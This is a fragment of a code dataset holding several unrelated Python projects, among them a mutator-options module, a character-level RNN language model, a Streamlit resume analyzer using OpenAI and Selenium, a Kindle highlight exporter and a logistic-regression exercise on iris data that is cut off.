'mutator_simplify_quoted_symbols', True)\n setattr(namespace, 'mutator_simplify_symbol_names', True)\n setattr(namespace, 'wrap_lines', True)\n\nclass LetEliminationAction(argparse.Action):\n \"\"\"Mode that only checks for let eliminations.\"\"\"\n def __call__(self, parser, namespace, values, option_string = None):\n setattr(namespace, 'mode_let_elimination', True)\n disable(namespace, mutators_arithmetic.NAME)\n disable(namespace, mutators_bitvectors.NAME)\n disable(namespace, mutators_boolean.NAME)\n disable(namespace, mutators_core.NAME)\n disable_all(namespace, mutators_smtlib.MUTATORS)\n disable(namespace, mutators_strings.NAME)\n setattr(namespace, 'mutator_let_elimination', True)\n setattr(namespace, 'mutator_let_substitution', True)\n\nclass ReductionOnlyAction(argparse.Action):\n \"\"\"Mode that only checks mutations that reduce the number of nodes.\"\"\"\n def __call__(self, parser, namespace, values, option_string = None):\n setattr(namespace, 'mode_reduction_only', True)\n setattr(namespace, 'mutator_sort_children', False)\n\nclass TopLevelOnlyAction(argparse.Action):\n \"\"\"Mode that only uses top level binary reduction.\"\"\"\n def __call__(self, parser, namespace, values, option_string = None):\n disable(namespace, mutators_arithmetic.NAME)\n disable(namespace, mutators_bitvectors.NAME)\n disable(namespace, mutators_boolean.NAME)\n disable_all(namespace, mutators_core.MUTATORS)\n disable(namespace, mutators_smtlib.NAME)\n disable(namespace, mutators_strings.NAME)\n setattr(namespace, 'mutator_top_level_binary_reduction', True)\n\ndef collect_mutator_modes(argparser):\n argparser.add_argument('--mode-aggressive', default = False, nargs = 0, action = AgressiveAction, help = 'agressively minimize')\n argparser.add_argument('--aggressiveness', metavar = 'perc', type = float, default = 0.01,\n help = 'percentage of the input a mutators needs to remove')\n argparser.add_argument('--mode-beautify', default = False, nargs = 0, action = BeautifyAction, help = 'enables beautification mutators')\n argparser.add_argument('--mode-let-elimination', default = False, nargs = 0, action = LetEliminationAction, help = 'only eliminate let binders')\n argparser.add_argument('--mode-reduction-only', default = False, nargs = 0, action = ReductionOnlyAction, help = 'only allow reducing mutations')\n argparser.add_argument('--mode-top-level-only', default = False, nargs = 0, action = TopLevelOnlyAction, help = 'use top level binary reduction')\n\ndef add_mutator_group(argparser, name):\n \"\"\"Add a new argument group for a mutator group\"\"\"\n return argparser.add_argument_group('{} mutator arguments'.format(name), help_name = name, help_group = 'mutator help', help_text = 'show help for {} mutators')\n\ndef collect_mutator_options(argparser):\n \"\"\"Adds all options related to mutators to the given argument parser.\"\"\"\n mutators_core.collect_mutator_options(add_mutator_group(argparser, 'core'))\n mutators_boolean.collect_mutator_options(add_mutator_group(argparser, 'boolean'))\n mutators_arithmetic.collect_mutator_options(add_mutator_group(argparser, 'arithmetic'))\n mutators_bitvectors.collect_mutator_options(add_mutator_group(argparser, 'bitvector'))\n mutators_smtlib.collect_mutator_options(add_mutator_group(argparser, 'smtlib'))\n mutators_strings.collect_mutator_options(add_mutator_group(argparser, 'string'))\n\ndef collect_mutators(args):\n \"\"\"Initializes the list of all active mutators.\"\"\"\n res = []\n res += mutators_core.collect_mutators(args)\n res += mutators_boolean.collect_mutators(args)\n res += mutators_arithmetic.collect_mutators(args)\n res += mutators_bitvectors.collect_mutators(args)\n res += mutators_smtlib.collect_mutators(args)\n res += mutators_strings.collect_mutators(args)\n return res\n","repo_name":"nafur/pydelta","sub_path":"pydelta/mutator_options.py","file_name":"mutator_options.py","file_ext":"py","file_size_in_byte":5339,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"} +{"seq_id":"35425614012","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Oct 20 19:53:19 2019\n\n@author: user\n\"\"\"\n\nimport os\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nimport tensorflow.compat.v1 as tf1\nimport tensorflow.keras as keras\nfrom collections import Counter\nimport pyprind\nfrom string import punctuation\n\nwith open('shakespear.txt') as file:\n text=file.read()\n\nprint(text[:5])\nchars=set(text)\nprint(chars);len(chars)\nchar2int={word:i for i,word in enumerate(chars)}; char2int\nint2char={i:word for i,word in enumerate(chars)}; int2char\ntext_int=np.array([char2int[c] for c in text],dtype=np.int32)\nprint(text_int.shape)\n\ndef reshape_data(sequence, batch_size, num_steps):\n tot_batch_len=batch_size*num_steps\n num_batches=int(len(sequence)/tot_batch_len)\n b=num_batches*tot_batch_len\n if b+1 > len(sequence):\n num_batches-=1\n b=num_batches*tot_batch_len\n x=sequence[0:b]\n print(x.shape)\n y=sequence[1:b+1]\n x_split=np.split(x,batch_size)\n print(len(x_split))\n y_split=np.split(y,batch_size)\n x=np.stack(x_split);x.shape\n y=np.stack(y_split)\n return x,y\n\ndef create_batch_generator(data_x, data_y, num_steps):\n batch_size, tot_batch_length = data_x.shape\n num_batches = int(tot_batch_length/num_steps)\n for b in range(num_batches):\n yield (data_x[:, b*num_steps:(b+1)*num_steps],data_y[:, b*num_steps:(b+1)*num_steps])\n \n\ndef get_top_char(probas, char_size, top_n=5):\n p = np.squeeze(probas)\n p[np.argsort(p)[:-top_n]] = 0.0\n p = p / np.sum(p)\n ch_id = np.random.choice(char_size, 1, p=p)[0]\n return ch_id\n\nclass CharRNN(object):\n def __init__(self, num_classes, batch_size=64, num_steps=100, lstm_size=128,\n num_layers=1, learning_rate=0.001,keep_prob=0.5, grad_clip=5,sampling=False):\n self.num_classes = num_classes\n self.batch_size = batch_size\n self.num_steps = num_steps\n self.lstm_size = lstm_size\n self.num_layers = num_layers\n self.learning_rate = learning_rate\n self.keep_prob = keep_prob\n self.grad_clip = grad_clip\n self.g = tf.Graph()\n with self.g.as_default():\n tf.set_random_seed(123)\n self.build(sampling=sampling)\n self.saver = tf1.train.Saver()\n self.init_op = tf1.global_variables_initializer()\n \n def build(self,sampling):\n if sampling == True:\n batch_size, num_steps = 1, 1\n else:\n batch_size = self.batch_size\n num_steps = self.num_steps\n tf_x = tf1.placeholder(tf.int32,shape=[batch_size, num_steps], name='tf_x')\n tf_y = tf1.placeholder(tf.int32,shape=[batch_size, num_steps],name='tf_y')\n tf_keepprob = tf1.placeholder(tf.float32,name='tf_keepprob')\n # One-hot encoding:\n x_onehot = tf.one_hot(tf_x, depth=self.num_classes)\n y_onehot = tf.one_hot(tf_y, depth=self.num_classes)\n ### Build the multi-layer RNN cells\n cells = tf1.nn.rnn_cell.MultiRNNCell([tf1.nn.rnn_cell.DropoutWrapper(\n tf1.nn.rnn_cell.BasicLSTMCell(self.lstm_size),\n output_keep_prob=tf_keepprob)for _ in range(self.num_layers)])\n self.initial_state=cells.zero_state(batch_size,tf.float32)\n lstm_outputs,self.final_state=tf1.nn.dynamic_rnn(cells,x_onehot,initial_state=self.initial_state)\n # [batch_size x num_steps x lstm_size]\n print(lstm_outputs)\n seq_reshaped=tf.reshape(lstm_outputs,shape=(-1,self.lstm_size),name='seq_reshaped')\n logits=tf1.layers.dense(inputs=seq_reshaped,units=self.num_classes,activation=None,name='logits')\n proba=tf.nn.softmax(logits,name='probabilities')\n y_reshaped = tf.reshape(y_onehot,shape=[-1, self.num_classes],name='y_reshaped')\n cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=logits,labels=y_reshaped),name='cost')\n tvars=tf1.trainable_variables()\n grads,_=tf.clip_by_global_norm(tf.gradients(cost,tvars),self.grad_clip)\n optimizer=tf1.train.AdamOptimizer(self.learning_rate)\n train_op=optimizer.apply_gradients(zip(grads,tvars),name='train_op')\n\n def train(self, train_x, train_y,num_epochs, ckpt_dir='./model/'):\n## Create the checkpoint directory\n## if it does not exists\n if not os.path.exists(ckpt_dir):\n os.mkdir(ckpt_dir)\n with tf1.Session(graph=self.g) as sess:\n sess.run(self.init_op)\n n_batches = int(train_x.shape[1]/self.num_steps)\n iterations = n_batches * num_epochs\n for epoch in range(num_epochs):\n # Train network\n new_state = sess.run(self.initial_state)\n loss = 0\n ## Mini-batch generator:\n bgen = create_batch_generator(train_x, train_y, self.num_steps)\n for b, (batch_x, batch_y) in enumerate(bgen):\n iteration = epoch*n_batches + b\n feed = {'tf_x:0': batch_x, 'tf_y:0': batch_y,'tf_keepprob:0' : self.keep_prob,self.initial_state : new_state}\n batch_cost, _, new_state = sess.run( ['cost:0', 'train_op',self.final_state],feed_dict=feed)\n if iteration % 10 == 0:\n print('Epoch %d/%d Iteration %d' '| Training loss: %.4f' % ( epoch + 1, num_epochs, iteration, batch_cost))\n ## Save the trained model\n self.saver.save( sess, os.path.join(ckpt_dir, 'language_modeling.ckpt')) \n \n def sample(self, output_length,ckpt_dir, starter_seq=\"The \"):\n observed_seq = [ch for ch in starter_seq]\n with tf1.Session(graph=self.g) as sess:\n self.saver.restore(sess,tf1.train.latest_checkpoint(ckpt_dir))\n ## 1: run the model using the starter sequence\n new_state = sess.run(self.initial_state)\n for ch in starter_seq:\n x = np.zeros((1, 1))\n x[0, 0] = char2int[ch]\n feed = {'tf_x:0': x,'tf_keepprob:0': 1.0, self.initial_state: new_state}\n proba, new_state = sess.run(['probabilities:0', self.final_state],feed_dict=feed)\n ch_id = get_top_char(proba, len(chars))\n observed_seq.append(int2char[ch_id])\n ## 2: run the model using the updated observed_seq\n for i in range(output_length):\n x[0,0] = ch_id\n feed = {'tf_x:0': x,'tf_keepprob:0': 1.0,self.initial_state: new_state}\n proba, new_state = sess.run(['probabilities:0', self.final_state],feed_dict=feed)\n ch_id = get_top_char(proba, len(chars))\n observed_seq.append(int2char[ch_id])\n return ''.join(observed_seq) \n\nbatch_size = 64\nnum_steps = 100\ntrain_x, train_y = reshape_data(text_int,batch_size,num_steps)\ntrain_x.shape\n\nrnn = CharRNN(num_classes=len(chars), batch_size=batch_size)\nrnn.train(train_x, train_y,num_epochs=100,ckpt_dir='./model-100/')\n\ndel rnn\nnp.random.seed(123)\nrnn = CharRNN(len(chars), sampling=True)\nprint(rnn.sample(ckpt_dir='./model-100/',output_length=500)) \n","repo_name":"LovepreetSingh-09/Machine_Learning_2","sub_path":"Language_model.py","file_name":"Language_model.py","file_ext":"py","file_size_in_byte":7134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"4891849039","text":"import nltk\r\nimport spacy\r\nnltk.download('stopwords')\r\nspacy.load('en_core_web_sm')\r\nimport os\r\nimport openai\r\nimport base64\r\nimport time\r\nfrom pyresparser import ResumeParser\r\nfrom pdfminer3.layout import LAParams\r\nfrom pdfminer3.pdfpage import PDFPage\r\nfrom pdfminer3.pdfinterp import PDFResourceManager\r\nfrom pdfminer3.pdfinterp import PDFPageInterpreter\r\nfrom pdfminer3.converter import TextConverter\r\nimport io\r\nfrom streamlit_tags import st_tags\r\nimport streamlit as st\r\nfrom pdfminer.high_level import extract_text\r\nimport pandas as pd\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium import webdriver\r\nfrom openAI import API_KEY\r\n\r\nst.set_page_config(page_title=\"Resume Analyzer\",layout='wide')\r\n\r\n\r\n\r\n\r\n\r\n@st.cache_resource()\r\ndef load_model(model_name1,model_name2):\r\n nlp1=spacy.load(model_name1)\r\n nlp2=nltk.download(model_name2)\r\n return nlp1,nlp2\r\n\r\nnpl1=load_model('en_core_web_sm','stopwords')\r\nopenai.api_key=API_KEY\r\n\r\n@st.cache_data\r\ndef extract_text_from_pdf(pdf_path):\r\n return extract_text(pdf_path)\r\n\r\n@st.cache_data\r\ndef show_pdf(path):\r\n with open(path ,'rb') as f:\r\n base64_pdf=base64.b64encode(f.read()).decode('utf-8')\r\n pdf_show = F''\r\n st.markdown(pdf_show, unsafe_allow_html=True)\r\n\r\n@st.cache_data\r\ndef pdf_reader(file):\r\n resource_manager=PDFResourceManager()\r\n fake_file_handle=io.StringIO()\r\n conveter=TextConverter(resource_manager,fake_file_handle,laparams=LAParams())\r\n page_interpreter = PDFPageInterpreter(resource_manager,conveter)\r\n with open(file,'rb') as fh:\r\n for page in PDFPage.get_pages(fh,caching=True,check_extractable=True):\r\n page_interpreter.process_page(page)\r\n print(page)\r\n text=fake_file_handle.getvalue()\r\n conveter.close()\r\n fake_file_handle.close()\r\n return text\r\n\r\n@st.cache_data\r\ndef summarization(resume_text):\r\n output=openai.ChatCompletion.create(\r\n model='gpt-3.5-turbo',\r\n messages=[{'role':'user',\r\n 'content':f'Analyse {resume_text} and give a summary of the resume'}])\r\n return (output['choices'][0]['message']['content'])\r\n\r\n@st.cache_data\r\ndef Streangth_weakness(resume_text):\r\n output=openai.ChatCompletion.create(\r\n model='gpt-3.5-turbo',\r\n messages=[{'role':'user',\r\n 'content':f'Analyse {resume_text} and give Strength of the resume and weakness of the resume'}])\r\n return (output['choices'][0]['message']['content'])\r\n\r\n@st.cache_data\r\ndef impovement_recommadations(resume_test):\r\n output=openai.ChatCompletion.create(\r\n model='gpt-3.5-turbo',\r\n messages=[{'role':'user',\r\n 'content':f'Analyse {resume_test} and give Recommandation to imporve the resume '}])\r\n return (output['choices'][0]['message']['content'])\r\n\r\ndef get_score_topic(resume_text):\r\n resume_score = 0\r\n topics_covered = []\r\n topics_not_covered = []\r\n\r\n ### Predicting Whether these key points are added to the resume\r\n if 'Objective' or 'Summary' in resume_text:\r\n resume_score = resume_score + 6\r\n topics_covered.append(('Objective , Summary').upper())\r\n\r\n\r\n else:\r\n topics_not_covered.append(('Objective , Summary').upper())\r\n\r\n if 'Education' or 'School' or 'College' in resume_text:\r\n resume_score = resume_score + 12\r\n topics_covered.append(('Education , School , College').upper())\r\n else:\r\n topics_not_covered.append(('Education , School , College').upper())\r\n\r\n if 'EXPERIENCE' in resume_text:\r\n resume_score = resume_score + 16\r\n topics_covered.append('EXPERIENCE')\r\n\r\n elif 'Experience' in resume_text:\r\n resume_score = resume_score + 16\r\n topics_covered.append(('Experience').upper())\r\n else:\r\n topics_not_covered.append('EXPERIENCE')\r\n\r\n if 'INTERNSHIPS' in resume_text:\r\n resume_score = resume_score + 6\r\n topics_covered.append('INTERNSHIPS')\r\n elif 'INTERNSHIP' in resume_text:\r\n resume_score = resume_score + 6\r\n\r\n elif 'Internships' in resume_text:\r\n resume_score = resume_score + 6\r\n topics_covered.append(('Internships').upper())\r\n\r\n elif 'Internship' in resume_text:\r\n resume_score = resume_score + 6\r\n topics_covered.append(('Internships').upper())\r\n else:\r\n topics_not_covered.append('INTERNSHIP')\r\n\r\n if 'SKILLS' in resume_text:\r\n resume_score = resume_score + 7\r\n topics_covered.append('SKILLS')\r\n elif 'SKILL' in resume_text:\r\n resume_score = resume_score + 7\r\n topics_covered.append('SKILL')\r\n elif 'Skills' in resume_text:\r\n resume_score = resume_score + 7\r\n topics_covered.append(('Skills').upper())\r\n elif 'Skill' in resume_text:\r\n resume_score = resume_score + 7\r\n topics_covered.append(('Skill').upper())\r\n else:\r\n topics_not_covered.append('SKILLS')\r\n\r\n if 'HOBBIES' in resume_text:\r\n resume_score = resume_score + 4\r\n topics_covered.append('HOBBIES')\r\n elif 'Hobbies' in resume_text:\r\n resume_score = resume_score + 4\r\n topics_covered.append(('Hobbies').upper())\r\n else:\r\n topics_not_covered.append('HOBBIES')\r\n\r\n if 'INTERESTS' in resume_text:\r\n resume_score = resume_score + 5\r\n topics_covered.append('INTERESTS')\r\n elif 'Interests' in resume_text:\r\n resume_score = resume_score + 5\r\n topics_covered.append(('Interests').upper())\r\n else:\r\n topics_not_covered.append('INTERESTS')\r\n\r\n if 'ACHIEVEMENTS' in resume_text:\r\n resume_score = resume_score + 13\r\n topics_covered.append('ACHIEVEMENTS')\r\n elif 'Achievements' in resume_text:\r\n resume_score = resume_score + 13\r\n topics_covered.append(('Achievements').upper())\r\n else:\r\n topics_not_covered.append('ACHIEVEMENTS')\r\n\r\n if 'CERTIFICATIONS' in resume_text:\r\n resume_score = resume_score + 12\r\n topics_covered.append('CERTIFICATIONS')\r\n elif 'Certifications' in resume_text:\r\n resume_score = resume_score + 12\r\n topics_covered.append(('Certifications').upper())\r\n elif 'Certification' in resume_text:\r\n resume_score = resume_score + 12\r\n topics_covered.append(('Certification').upper())\r\n else:\r\n topics_not_covered.append('CERTIFICATIONS')\r\n\r\n if 'PROJECTS' in resume_text:\r\n resume_score = resume_score + 19\r\n topics_covered.append('PROJECTS')\r\n elif 'PROJECT' in resume_text:\r\n resume_score = resume_score + 19\r\n topics_covered.append('PROJECT')\r\n elif 'Projects' in resume_text:\r\n resume_score = resume_score + 19\r\n topics_covered.append(('Projects').upper())\r\n elif 'Project' in resume_text:\r\n resume_score = resume_score + 19\r\n topics_covered.append(('Project').upper())\r\n else:\r\n topics_not_covered.append('PROJECTS')\r\n\r\n return resume_score ,topics_covered , topics_not_covered\r\n\r\n\r\n\r\n\r\n\r\ndef run():\r\n\r\n st.title(\":orange[*RESUME ANALYSER*]\")\r\n c1, c2 = st.columns(2)\r\n with c1:\r\n st.header(\":blue[Upload PDF]\")\r\n pdf_file=st.file_uploader(':red[Choose your resume]',type=['pdf'])\r\n if pdf_file is not None:\r\n\r\n save_image_path = os.path.abspath(pdf_file.name)\r\n with c1:\r\n show_pdf(save_image_path)\r\n\r\n resume_data = ResumeParser(save_image_path).get_extracted_data()\r\n #st.write(resume_data['name'])\r\n #st.write(resume_data)\r\n if resume_data:\r\n resume_text = pdf_reader(save_image_path)\r\n with c2:\r\n try:\r\n\r\n st.write(\"\")\r\n st.write(\"\")\r\n st.write(\"\")\r\n st.write(\"\")\r\n st.write(\"\")\r\n st.write(\"\")\r\n st.write(\"\")\r\n st.write(\"\")\r\n st.write(\"\")\r\n st.write(\"\")\r\n st.subheader(':blue[INFO]')\r\n name=st.text_input(\"Name:\",resume_data['name'])\r\n email=st.text_input('Email',resume_data['email'])\r\n mobile_num=st.text_input('Mobile Number',resume_data['mobile_number'])\r\n education=st.text_input('Qualification',resume_data['degree'])\r\n Experience = st.text_input('Experience',resume_data['total_experience'])\r\n except:\r\n pass\r\n with c2:\r\n ## Skills Analyzing and Recommendation\r\n\r\n\r\n ds_keyword = ['data visualization', 'predictive analysis','statistical modeling',\r\n 'predictive model','data mining','clustering','classification',\r\n 'clustering & classification', 'data analytics',\r\n 'quantitative Analysis', 'Web Scraping', 'ml Algorithms', 'keras',\r\n 'Pytorch', 'probability', 'scikit-learn', 'tensorflow', \"flask\",\r\n 'streamlit','database','mysql','sql','mongodb','github',\r\n 'numpy','seaborn','matplotlib','pandas',]\r\n\r\n web_keyword = ['react', 'django', 'node jS', 'react js', 'php', 'laravel', 'magento', 'wordpress',\r\n 'javascript', 'angular js', 'c#', 'flask']\r\n android_keyword = ['android', 'android development', 'flutter', 'kotlin', 'xml', 'kivy']\r\n ios_keyword = ['ios', 'ios development', 'swift', 'cocoa', 'cocoa touch', 'xcode']\r\n uiux_keyword = ['ux', 'adobe xd', 'figma', 'zeplin', 'balsamiq', 'ui', 'prototyping', 'wireframes',\r\n 'storyframes', 'adobe photoshop', 'photoshop', 'editing', 'adobe illustrator',\r\n 'illustrator', 'adobe after effects', 'after effects', 'adobe premier pro',\r\n 'premier pro', 'adobe indesign', 'indesign', 'wireframe', 'solid', 'grasp',\r\n 'user research', 'user experience']\r\n\r\n matching_skills=[]\r\n missing_skills=[]\r\n\r\n for i in resume_text:\r\n if i.lower() in ds_keyword:\r\n reco_field = ['Data Analyst','Business Analyst','Data Science']\r\n\r\n\r\n\r\n for i in resume_data['skills']:\r\n if i.lower() in ds_keyword:\r\n matching_skills.append(i)\r\n for i in ds_keyword:\r\n if i.lower() not in matching_skills:\r\n missing_skills.append(i)\r\n\r\n\r\n st.subheader(\":blue[*Skill sets*]\")\r\n col1,col2=st.columns(2)\r\n with col1:\r\n st.markdown(\r\n '''
Skilled in :
''',\r\n unsafe_allow_html=True)\r\n matching_skills_tags = st_tags( text='skills matching to the domain',\r\n value=matching_skills, key='skill_match')\r\n with col2:\r\n st.markdown('''
Boost🚀 the resume with these skills:
''',unsafe_allow_html=True)\r\n\r\n missing_skills_tags = st_tags(label=':Skills',\r\n text='Recommended skills generated from System',\r\n value=missing_skills, key='skill_miss')\r\n\r\n ## Resume Scorer & Resume Writing Tips\r\n with c1:\r\n st.subheader(\":blue[**Resume Tips & Ideas ]🥂**\")\r\n resume_score,topics_covered,topics_not_covered=get_score_topic(resume_text)\r\n col11,col12=st.columns(2)\r\n with col11:\r\n st.markdown(f'''
[+] Awesome! You have added :\\n
''',unsafe_allow_html=True)\r\n for i in topics_covered:\r\n st.markdown(\r\n f'''
\\t-{i}\\n
''', unsafe_allow_html=True)\r\n with col12:\r\n st.markdown(\r\n f'''
[-] Concentrate on these topics:
''',\r\n unsafe_allow_html=True)\r\n for j in topics_not_covered:\r\n st.markdown(\r\n f'''
-{j}\\n
''', unsafe_allow_html=True)\r\n st.markdown(\r\n f'''
It will give your career intension to the Recruiters.
''',\r\n unsafe_allow_html=True)\r\n with c2:\r\n st.subheader(\"**Resume Score 📝**\")\r\n\r\n st.markdown(\"\"\"\"\"\",\r\n unsafe_allow_html=True, )\r\n\r\n ### Score Bar\r\n if resume_score >70:\r\n st.success('** Your Resume Writing Score: ' + str(resume_score) + '**')\r\n my_bar = st.progress(resume_score)\r\n elif resume_score<70:\r\n st.error('** Your Resume Writing Score: ' + str(resume_score) + '**')\r\n my_bar = st.progress(resume_score)\r\n\r\n st.warning(\"** Note: This score is calculated based on the content that you have in your Resume. **\")\r\n st.subheader(\":orange[Take a look here]\")\r\n t1,t2,t3=st.tabs(['summary','key points','Make strong'])\r\n with t1:\r\n summary_text = summarization(resume_text)\r\n st.subheader(\":blue[Summarization Of Resume]\")\r\n st.text(summary_text)\r\n with t2:\r\n good_bad_text = Streangth_weakness(resume_text)\r\n st.subheader(\":blue[Strength and weekness of the resume]\")\r\n st.text(good_bad_text)\r\n with t3:\r\n imporve_text = impovement_recommadations(resume_text)\r\n st.subheader(\":blue[Can improve the resume with below points]\")\r\n st.text(imporve_text)\r\n\r\n st.header(\":red[Do you want related jobs from :blue[LinkedIn] ?]\")\r\n st.subheader(\"Where you want to relocate for job.?:\")\r\n\r\n column1,column2,column3=st.columns([1,3,1])\r\n with column1:\r\n\r\n\r\n location = st.text_input(\"Location:\")\r\n st.subheader(\":green[Click here and seek jobs..!]\")\r\n\r\n\r\n job_search=st.button('Seek Jobs')\r\n\r\n if 'job_search' not in st.session_state:\r\n st.session_state.job_search = False\r\n\r\n if job_search or st.session_state.job_search:\r\n st.session_state.job_search=True\r\n geocode = ''\r\n url1 = f'https://www.linkedin.com/jobs/search?keywords={job_role}&location={location}&geoId={geocode}&trk=public_jobs_jobs-search-bar_search-submit&position=1&pageNum=0'\r\n\r\n chrome_options = webdriver.ChromeOptions()\r\n chrome_options.add_argument(\"--incognito\")\r\n chrome_options.add_experimental_option(\"detach\", True)\r\n driver = webdriver.Chrome(options=chrome_options)\r\n driver.get(url1)\r\n\r\n\r\n st.markdown(''':red[Note:]\r\n :orange[Seek jobs will get to another tab ,where ] :blue[linkedin],:orange[application will open directly and land on job portal ,\r\n if you want to apply , please sign in and apply for jobs]''')\r\n\r\n st.subheader(\"Detials:\")\r\n st.write(\"\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nprint('Done')\r\nprint('Done')\r\nrun()\r\n","repo_name":"Achuthanvb/resume_check_job","sub_path":"scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":16353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18479197749","text":"number = int(input())\nmax_intersection = 0\nresulting_intersection = set()\nfor sequence in range(number):\n first_range, second_range = input().split('-')\n first_range_lower, first_range_higher = first_range.split(',')\n second_range_lower, second_range_higher = second_range.split(',')\n\n first_range_set = set()\n second_range_set = set()\n for sequence_one in range(int(first_range_lower), int(first_range_higher)+1):\n first_range_set.add(sequence_one)\n for sequence_two in range(int(second_range_lower), int(second_range_higher)+1):\n second_range_set.add(sequence_two)\n\n resulting_range = first_range_set.intersection(second_range_set)\n if len(resulting_range) > max_intersection:\n max_intersection = len(resulting_range)\n resulting_intersection = resulting_range\n\nrange_string = ', '.join(map(lambda x: f\"{x}\", resulting_intersection))\nprint(f\"Longest intersection is [{range_string}] with length {max_intersection}\")\n\n","repo_name":"RadoslavTs/SoftUni-Courses","sub_path":"3. Python Advanced/2. Tuples and sets/Exercise/05. longest_intersection.py","file_name":"05. longest_intersection.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28811971869","text":"import os\nimport re\nimport json\nfrom pprint import pprint\nimport datetime\n\nfile_loc1 = os.path.expanduser('~/Documents/Coding Projects/Keyboard Maestro and Obsidian/Kindle Export/part1.txt')\njson_file_loc = os.path.expanduser('~/Documents/Coding Projects/Keyboard Maestro and Obsidian/Kindle Export/kindle_exports.json')\nold_exports = os.path.expanduser('~/Documents/Coding Projects/Keyboard Maestro and Obsidian/Kindle Export/last_kindle_exports.txt')\n\nwith open(file_loc1, \"r\") as f:\n file1 = f.readlines()\n\nwith open(json_file_loc) as j:\n json_file = json.load(j)\n\ndef get_quotes_and_vocab(file):\n notes_list = []\n vocab_list = []\n p1 = re.compile(r'Highlight\\(\\w+\\) - Location \\d+')\n p2 = re.compile(r'Note - Location \\d+')\n i = 2\n while (i 0:\n highlight = file[i+1].strip()\n note = ''\n if i+2 0: # if there is a note\n note = file[i+3].strip()\n i+=2\n if \"Anki\" in note or \"anki\" in note:\n highlight += ' #ankify🚨 '\n if highlight.count(' ') > 2 or len(note) > 0: # highlight more than 2 words or note not empty\n if len(note)>0:\n highlight += ';; ' + note\n notes_list.append(highlight)\n else:\n vocab_list.append(highlight)\n i+=2\n else:\n i+=1\n return notes_list, vocab_list\n\ndef clean_up_vocab(vocab):\n clean_vocab_list = []\n for line in vocab:\n clean_vocab = re.sub('[(){}\\[\\]<>;./\\\\+=_*&^%$#@!~`:\\,\"]', '', line)\n clean_vocab = clean_vocab.capitalize()\n clean_vocab_list.append(clean_vocab)\n return list(set(clean_vocab_list)) # remove duplicates\n\ndef get_unique_quotes_vocab(title,notes,vocab):\n is_old_book = title in json_file\n if not \"vocab\" in json_file:\n json_file[\"vocab\"] = ()\n new_vocab = tuple([x for x in vocab if x not in json_file[\"vocab\"]])\n if is_old_book:\n new_notes = tuple([x for x in notes if x not in json_file[title]])\n json_file[title] = tuple(json_file[title]) + new_notes\n else:\n new_notes = tuple(notes)\n json_file[title] = new_notes\n json_file[\"vocab\"] = tuple(json_file[\"vocab\"]) + new_vocab\n with open(old_exports,'a') as f: # save old exports\n f.write(str(datetime.datetime.now()) + '\\n\\nVocab:\\n' + \n '\\n'.join(new_vocab) + '\\n\\nNotes:\\n' + '\\n\\n'.join(notes))\n with open(json_file_loc, \"w\") as jf: # write notes and vocab to json file\n json.dump(json_file,jf)\n for word in new_vocab: # add vocab to obsidian md file\n os.system('echo \"' + word + '\" >> \"$HOME/Documents/Main Obsidian Vault/Home/000 Anki Vocab.md\"')\n return new_notes, new_vocab\n\ndef main():\n input = str(os.environ[\"KMVAR_Local_Clipboard\"]).split('\\n')\n title = input[1].strip()\n quotes_and_vocab = get_quotes_and_vocab(input)\n notes = quotes_and_vocab[0]\n vocab = quotes_and_vocab[1]\n vocab = clean_up_vocab(vocab)\n new_quotes_and_vocab = get_unique_quotes_vocab(title,notes,vocab)\n notes = new_quotes_and_vocab[0]\n vocab = new_quotes_and_vocab[1]\n print('\\n\\n'.join(notes))\n\nmain()","repo_name":"munir-v/obsidian_keyboard-maestro","sub_path":"Kindle Export/get_kindle_quote_vocab.py","file_name":"get_kindle_quote_vocab.py","file_ext":"py","file_size_in_byte":3262,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"18282066476","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport math\n\n#DEFINE INITIAL VARIABLES\nnewteta = np.array([0.3,0.6,0.9,0.2])\nnewbias = np.array([0.5])\nalpha = 0.8\nepoch = 60\ntrainerror = np.zeros(epoch)\ntesterror = np.zeros(epoch)\nlocalerror = 0.000000000000000000\n\n\n#READ DATA\ndata = pd.read_csv('/home/jodistiara/Documents/machine_learning/iris.data', header=None, nrows=100)\n\ndata[4] = data[4].apply(lambda x:str(x).replace('Iris-setosa','0'))\ndata[4] = data[4].apply(lambda x:str(x).replace('Iris-versicolor','1'))\n\ndata[4] = data[4].astype('int64')\n\n\n#SPLIT DATA\ntraindata = np.vstack([data.iloc[0:40, 0:4], data.iloc[60:100, 0:4]])\ntrainlabel = np.hstack([data.iloc[0:40, 4], data.iloc[60:100, 4]])\n\ntestdata = data.iloc[40:60, 0:4].values\ntestlabel = data.iloc[40:60, 4].values\n\n\n#DEFINE FUNCTION\ndef fungsiH(x, teta, bias):\n sum = bias.copy()\n for i in range(len(x)):\n sum += [x[i]*teta[i]]\n return sum\n\ndef sigmoid(ha):\n return (1/(1+math.exp(-1*ha)))\n\ndef predict(g):\n if g < 0.5:\n return 0 \n else:\n return 1\n\ndef local_error(a,b):\n return math.fabs((a-b))\n\ndef delta(g, y, x):\n return (2*(g-y)*(1-g)*g*x)\n\n\nfor n in range(epoch):\n\n #TRAIN\n totalerror = 0\n # for i in range(1):\n # print(\"teta: \", newteta)\n # print(\"bias: \", newbias)\n\n for i in range(len(traindata)):\n\n teta = newteta.copy()\n bias = newbias.copy()\n\n h = fungsiH(traindata[i,:],teta,bias)\n sigm = sigmoid(h)\n pred = predict(sigm)\n\n localerror = local_error(sigm, trainlabel[i])\n \n dteta = np.zeros(4)\n dbias = np.zeros(1)\n\n for j in range(len(dteta)):\n dteta[j] = delta(sigm, trainlabel[i], traindata[i,j])\n dbias = np.array(delta(sigm, trainlabel[i], 1))\n\n for k in range(len(teta)):\n 